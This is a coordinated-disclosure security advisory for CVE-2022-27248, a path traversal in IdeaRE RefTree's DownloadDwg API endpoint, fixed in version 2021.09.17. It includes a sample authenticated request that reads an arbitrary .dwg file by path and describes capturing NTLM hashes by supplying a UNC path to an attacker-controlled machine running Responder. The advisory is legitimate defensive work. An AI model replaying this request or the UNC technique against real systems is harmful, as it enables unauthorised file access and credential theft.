===============================================================================
                  title: IdeaRE RefTree Download Path Traversal
                product: IdeaRE RefTree < 2021.09.17
     vulnerability type: Directory Traversal
                 CVE ID: CVE-2022-27248
               severity: Medium
           CVSSv3 score: 4.3
          CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
                  found: 2021-09-13
                     by: Savino Sisco <saviosisco@gmail.com>
===============================================================================

[EXECUTIVE SUMMARY]
RefTree is a web application made for managing complex real estate situations.
Among other features, it offers the possibility for authenticated users
to upload and download DWG (CAD drawings) files for buildings.

During a penetration test activity, a "Directory Traversal" vulnerability
was found on the download feature which allows to download arbitrary files
with the "dwg" extension. The application actually checks that the filename
ends with "dwg", so it's not possible to download files with other extensions.

This vulnerability may also allow to steal NTLM hashes of the host system
by supplying, as the download path, a UNC path pointing to an 
attacker controlled machine running a tool like Responder.

[VULNERABLE VERSIONS]
IdeaRE RefTree < 2021.09.17

[TECHNICAL DETAILS]
It is possible to reproduce the issue following these steps:
1. Log into the application to get a valid session cookie
2. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/DownloadDwg'
   to download an arbitrary "dwg" file (UNC paths are accepted).


Example of the request to the Download endpoint:

POST /CaddemServiceJS/CaddemService.svc/rest/DownloadDwg HTTP/2
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 111
Origin: https://[REDACTED]
Referer: https://[REDACTED]/Reftreespace/
Cookie: ASP.NET_SessionId=dezu5r0zswyqk4dukwt5jt5n

{
  "path": "C:\\Users\\Public\\test.dwg"
}


HTTP/2 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://[REDACTED]
X-Powered-By: ASP.NET
Date: Thu, 10 Oct 2021 11:21:32 GMT
Content-Length: 241916

{"DownloadDwgResult":[BASE64_FILE_REDACTED]}


[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities:
CVE-2022-27248


[DISCLOSURE TIMELINE]
2021-09-13  Vulnerability disclosed to our customer and the vendor.
            Vendor acknowledged the issue.
2021-09-17  Vendor released a fix for the software.
2021-10-15  The vulnerability was rechecked in the newer version to confirm 
            that is was indeed fixed.
2022-03-15  Researcher requested to publicly disclose the issue; public
            coordinated disclosure.

[RESOLUTION]
Update the software to a version >= 2021.09.17

[CONTACT DETAILS]
Savino Sisco <saviosisco@gmail.com>
https://www.linkedin.com/in/savino-sisco/